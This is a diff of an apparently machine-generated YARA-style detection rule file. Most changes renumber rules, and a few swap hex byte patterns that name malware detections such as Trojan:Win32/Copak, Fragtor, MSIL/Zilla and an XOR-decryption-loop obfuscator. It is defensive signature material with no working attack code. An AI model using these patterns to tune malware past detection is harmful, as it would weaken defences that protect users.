"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21895,7 +22071,7 @@ rule _InfrastructureShared_2102{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2103{ +rule _InfrastructureShared_2118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21905,7 +22081,7 @@ rule _InfrastructureShared_2103{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2104{ +rule _InfrastructureShared_2119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21915,7 +22091,7 @@ rule _InfrastructureShared_2104{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2105{ +rule _InfrastructureShared_2120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21925,7 +22101,7 @@ rule _InfrastructureShared_2105{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2106{ +rule _InfrastructureShared_2121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21935,7 +22111,7 @@ rule _InfrastructureShared_2106{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2107{ +rule _InfrastructureShared_2122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21945,7 +22121,7 @@ rule _InfrastructureShared_2107{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2108{ +rule _InfrastructureShared_2123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21955,7 +22131,7 @@ rule _InfrastructureShared_2108{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2109{ +rule _InfrastructureShared_2124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21965,7 +22141,7 @@ rule _InfrastructureShared_2109{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2110{ +rule _InfrastructureShared_2125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21975,17 +22151,27 @@ rule _InfrastructureShared_2110{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2111{ +rule _InfrastructureShared_2126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_54_0 = {3a 4d 53 49 4c 2f 53 74 61 74 69 63 58 6f 72 44 65 63 72 79 70 74 69 6f 6e 4c 6f 6f 70 2e 43 00 01 00 0b 01 07 91 61 d2 9c 07 17 58 0b 07 7e 00 00 78 3d 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4f 62 66 75 73 63 61 74 6f 72 2e 58 6f 72 2e 53 74 } //18467 + $a_54_0 = {3a 4d 53 49 4c 2f 53 74 61 74 69 63 58 6f 72 44 65 63 72 79 70 74 69 6f 6e 4c 6f 6f 70 2e 43 00 01 00 0b 01 07 91 61 d2 9c 07 17 58 0b 07 7e 00 00 78 3d 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 53 79 73 74 65 6d 69 6e 66 6f 2e 50 } //18467 condition: ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2112{ +rule _InfrastructureShared_2127{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 53 79 73 74 65 6d 69 6e 66 6f 2e 50 52 21 41 4d 54 42 00 01 00 11 81 01 53 79 73 74 65 6d 2e 4d 61 6e 61 67 65 6d 65 6e 74 00 00 78 3d 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4f 62 66 75 73 63 61 74 6f 72 2e 58 6f 72 2e 53 74 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_2128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -21995,7 +22181,7 @@ rule _InfrastructureShared_2112{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2113{ +rule _InfrastructureShared_2129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22005,7 +22191,7 @@ rule _InfrastructureShared_2113{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2114{ +rule _InfrastructureShared_2130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22015,7 +22201,7 @@ rule _InfrastructureShared_2114{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2115{ +rule _InfrastructureShared_2131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22025,7 +22211,7 @@ rule _InfrastructureShared_2115{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2116{ +rule _InfrastructureShared_2132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22035,7 +22221,7 @@ rule _InfrastructureShared_2116{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2117{ +rule _InfrastructureShared_2133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22045,7 +22231,7 @@ rule _InfrastructureShared_2117{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2118{ +rule _InfrastructureShared_2134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22055,7 +22241,7 @@ rule _InfrastructureShared_2118{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2119{ +rule _InfrastructureShared_2135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22065,7 +22251,7 @@ rule _InfrastructureShared_2119{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2120{ +rule _InfrastructureShared_2136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22075,7 +22261,7 @@ rule _InfrastructureShared_2120{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2121{ +rule _InfrastructureShared_2137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22085,7 +22271,7 @@ rule _InfrastructureShared_2121{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2122{ +rule _InfrastructureShared_2138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22095,7 +22281,7 @@ rule _InfrastructureShared_2122{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2123{ +rule _InfrastructureShared_2139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22105,7 +22291,7 @@ rule _InfrastructureShared_2123{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2124{ +rule _InfrastructureShared_2140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22115,7 +22301,7 @@ rule _InfrastructureShared_2124{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_2125{ +rule _InfrastructureShared_2141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22125,7 +22311,7 @@ rule _InfrastructureShared_2125{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2126{ +rule _InfrastructureShared_2142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22135,7 +22321,7 @@ rule _InfrastructureShared_2126{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2127{ +rule _InfrastructureShared_2143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22145,7 +22331,7 @@ rule _InfrastructureShared_2127{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2128{ +rule _InfrastructureShared_2144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22155,7 +22341,7 @@ rule _InfrastructureShared_2128{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2129{ +rule _InfrastructureShared_2145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22165,7 +22351,7 @@ rule _InfrastructureShared_2129{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2130{ +rule _InfrastructureShared_2146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22175,7 +22361,7 @@ rule _InfrastructureShared_2130{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2131{ +rule _InfrastructureShared_2147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22185,7 +22371,7 @@ rule _InfrastructureShared_2131{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_2132{ +rule _InfrastructureShared_2148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22195,7 +22381,7 @@ rule _InfrastructureShared_2132{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2133{ +rule _InfrastructureShared_2149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22205,7 +22391,7 @@ rule _InfrastructureShared_2133{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2134{ +rule _InfrastructureShared_2150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22215,38 +22401,38 @@ rule _InfrastructureShared_2134{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2135{ +rule _InfrastructureShared_2151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : - $a_6c_0 = {77 4c 69 73 74 3a 47 61 6d 62 6c 6f 63 6b 00 01 00 10 01 47 00 61 00 6d 00 42 00 6c 00 6f 00 63 00 6b 00 01 00 08 01 47 61 6d 42 6c 6f 63 6b 00 00 78 3d 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 70 61 6b 2e 42 41 41 21 4d 54 42 00 02 00 10 01 31 3a 29 c1 81 c2 04 00 00 00 01 c9 } //16675 - $a_75_1 = {00 78 3d 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 41 52 41 21 4d 54 42 00 02 00 0c 80 01 5c 52 61 6e 53 6f 72 74 2e 70 64 62 00 00 78 3d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 61 72 50 61 72 74 79 2e 42 21 64 68 61 00 01 00 05 01 83 f8 6f 7d 08 01 00 05 01 32 1c 10 8a c3 00 00 78 3d 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 33 34 44 43 36 33 37 37 00 01 00 0a 01 32 2e 50 72 6f 70 65 72 74 69 01 00 06 01 65 63 6b 4e 65 74 00 00 78 3d 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 41 75 74 6f 41 } //14662 + $a_6c_0 = {77 4c 69 73 74 3a 47 61 6d 62 6c 6f 63 6b 00 01 00 10 01 47 00 61 00 6d 00 42 00 6c 00 6f 00 63 00 6b 00 01 00 08 01 47 61 6d 42 6c 6f 63 6b 00 00 78 3d 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 41 52 41 21 4d 54 42 00 02 00 0c 80 01 5c 52 61 6e 53 6f 72 74 } //16675 + $a_62_1 = {00 78 3d 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 45 4a 59 21 4d 54 42 00 02 00 11 01 07 03 8e 69 08 58 06 d2 9c 08 17 58 0c 08 06 32 ef 00 00 78 3d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 61 72 50 } //28718 condition: - ((#a_6c_0 & 1)*16675+(#a_75_1 & 1)*14662) >=1 + ((#a_6c_0 & 1)*16675+(#a_62_1 & 1)*28718) >=1 } -rule _InfrastructureShared_2136{ +rule _InfrastructureShared_2152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 70 61 6b 2e 42 41 41 21 4d 54 42 00 02 00 10 01 31 3a 29 c1 81 c2 04 00 00 00 01 c9 46 39 da 75 00 00 78 3d 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //16675 - condition: - ((#a_46_0 & 1)*16675) >=2 - -} -rule _InfrastructureShared_2137{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " - - strings : - $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 41 52 41 21 4d 54 42 00 02 00 0c 80 01 5c 52 61 6e 53 6f 72 74 2e 70 64 62 00 00 78 3d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 61 72 50 } //18467 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 72 61 67 74 6f 72 2e 41 52 41 21 4d 54 42 00 02 00 0c 80 01 5c 52 61 6e 53 6f 72 74 2e 70 64 62 00 00 78 3d 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e } //18467 condition: ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_2138{ +rule _InfrastructureShared_2153{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 45 4a 59 21 4d 54 42 00 02 00 11 01 07 03 8e 69 08 58 06 d2 9c 08 17 58 0c 08 06 32 ef 00 00 78 3d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_2154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -22257,7 +22443,7 @@ rule _InfrastructureShared_2138{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*27753) >=2 } -rule _InfrastructureShared_2139{ +rule _InfrastructureShared_2155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -22268,7 +22454,7 @@ rule _InfrastructureShared_2139{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*14646) >=2 } -rule _InfrastructureShared_2140{ +rule _InfrastructureShared_2156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -22279,7 +22465,7 @@ rule _InfrastructureShared_2140{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*17205) >=2 } -rule _InfrastructureShared_2141{ +rule _InfrastructureShared_2157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -22290,7 +22476,7 @@ rule _InfrastructureShared_2141{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*17209) >=2 } -rule _InfrastructureShared_2142{ +rule _InfrastructureShared_2158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -22301,7 +22487,7 @@ rule _InfrastructureShared_2142{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*14384) >=2 } -rule _InfrastructureShared_2143{ +rule _InfrastructureShared_2159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -22312,7 +22498,7 @@ rule _InfrastructureShared_2143{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*14134) >=2 } -rule _InfrastructureShared_2144{ +rule _InfrastructureShared_2160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -22322,7 +22508,7 @@ rule _InfrastructureShared_2144{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_2145{ +rule _InfrastructureShared_2161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -22333,7 +22519,7 @@ rule _InfrastructureShared_2145{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*6740) >=2 } -rule _InfrastructureShared_2146{ +rule _InfrastructureShared_2162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -22344,7 +22530,7 @@ rule _InfrastructureShared_2146{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*11887) >=2 } -rule _InfrastructureShared_2147{ +rule _InfrastructureShared_2163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -22354,7 +22540,7 @@ rule _InfrastructureShared_2147{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_2148{ +rule _InfrastructureShared_2164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -22364,7 +22550,7 @@ rule _InfrastructureShared_2148{ ((#a_5f_0 & 1)*25635) >=2 } -rule _InfrastructureShared_2149{ +rule _InfrastructureShared_2165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -22374,7 +22560,7 @@ rule _InfrastructureShared_2149{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_2150{ +rule _InfrastructureShared_2166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -22384,7 +22570,7 @@ rule _InfrastructureShared_2150{ ((#a_4c_0 & 1)*21539) >=3 } -rule _InfrastructureShared_2151{ +rule _InfrastructureShared_2167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -22395,7 +22581,7 @@ rule _InfrastructureShared_2151{ ((#a_4c_0 & 1)*21539+(#a_57_1 & 1)*28257) >=7 } -rule _InfrastructureShared_2152{ +rule _InfrastructureShared_2168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -22405,7 +22591,7 @@ rule _InfrastructureShared_2152{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_2153{ +rule _InfrastructureShared_2169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -22415,7 +22601,7 @@ rule _InfrastructureShared_2153{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_2154{ +rule _InfrastructureShared_2170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -22426,7 +22612,7 @@ rule _InfrastructureShared_2154{ ((#a_4c_0 & 1)*21539+(#a_21_1 & 1)*25976) >=20 } -rule _InfrastructureShared_2155{ +rule _InfrastructureShared_2171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 02 00 02 00 21 " @@ -22437,7 +22623,7 @@ rule _InfrastructureShared_2155{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*14947) >=2 } -rule _InfrastructureShared_2156{ +rule _InfrastructureShared_2172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -22447,7 +22633,7 @@ rule _InfrastructureShared_2156{ ((#a_65_0 & 1)*20259) >=100 } -rule _InfrastructureShared_2157{ +rule _InfrastructureShared_2173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22457,7 +22643,7 @@ rule _InfrastructureShared_2157{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2158{ +rule _InfrastructureShared_2174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22467,7 +22653,7 @@ rule _InfrastructureShared_2158{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2159{ +rule _InfrastructureShared_2175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22477,7 +22663,7 @@ rule _InfrastructureShared_2159{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2160{ +rule _InfrastructureShared_2176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22487,7 +22673,7 @@ rule _InfrastructureShared_2160{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2161{ +rule _InfrastructureShared_2177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22497,7 +22683,7 @@ rule _InfrastructureShared_2161{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2162{ +rule _InfrastructureShared_2178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22507,7 +22693,7 @@ rule _InfrastructureShared_2162{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2163{ +rule _InfrastructureShared_2179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22517,7 +22703,7 @@ rule _InfrastructureShared_2163{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2164{ +rule _InfrastructureShared_2180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22527,7 +22713,7 @@ rule _InfrastructureShared_2164{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2165{ +rule _InfrastructureShared_2181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22537,7 +22723,7 @@ rule _InfrastructureShared_2165{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2166{ +rule _InfrastructureShared_2182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22547,7 +22733,7 @@ rule _InfrastructureShared_2166{ ((#a_67_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2167{ +rule _InfrastructureShared_2183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22557,7 +22743,7 @@ rule _InfrastructureShared_2167{ ((#a_74_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2168{ +rule _InfrastructureShared_2184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22567,7 +22753,7 @@ rule _InfrastructureShared_2168{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2169{ +rule _InfrastructureShared_2185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22577,7 +22763,7 @@ rule _InfrastructureShared_2169{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2170{ +rule _InfrastructureShared_2186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22587,7 +22773,7 @@ rule _InfrastructureShared_2170{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2171{ +rule _InfrastructureShared_2187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22597,7 +22783,7 @@ rule _InfrastructureShared_2171{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2172{ +rule _InfrastructureShared_2188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22607,7 +22793,7 @@ rule _InfrastructureShared_2172{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2173{ +rule _InfrastructureShared_2189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22617,7 +22803,7 @@ rule _InfrastructureShared_2173{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2174{ +rule _InfrastructureShared_2190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22627,7 +22813,7 @@ rule _InfrastructureShared_2174{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2175{ +rule _InfrastructureShared_2191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22637,7 +22823,7 @@ rule _InfrastructureShared_2175{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2176{ +rule _InfrastructureShared_2192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22647,7 +22833,7 @@ rule _InfrastructureShared_2176{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2177{ +rule _InfrastructureShared_2193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22657,7 +22843,7 @@ rule _InfrastructureShared_2177{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2178{ +rule _InfrastructureShared_2194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22667,7 +22853,7 @@ rule _InfrastructureShared_2178{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2179{ +rule _InfrastructureShared_2195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22677,7 +22863,7 @@ rule _InfrastructureShared_2179{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2180{ +rule _InfrastructureShared_2196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22687,7 +22873,7 @@ rule _InfrastructureShared_2180{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2181{ +rule _InfrastructureShared_2197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22697,7 +22883,7 @@ rule _InfrastructureShared_2181{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2182{ +rule _InfrastructureShared_2198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22707,7 +22893,7 @@ rule _InfrastructureShared_2182{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2183{ +rule _InfrastructureShared_2199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22717,7 +22903,7 @@ rule _InfrastructureShared_2183{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2184{ +rule _InfrastructureShared_2200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -22727,7 +22913,7 @@ rule _InfrastructureShared_2184{ ((#a_54_0 & 1)*18467) >=1 } 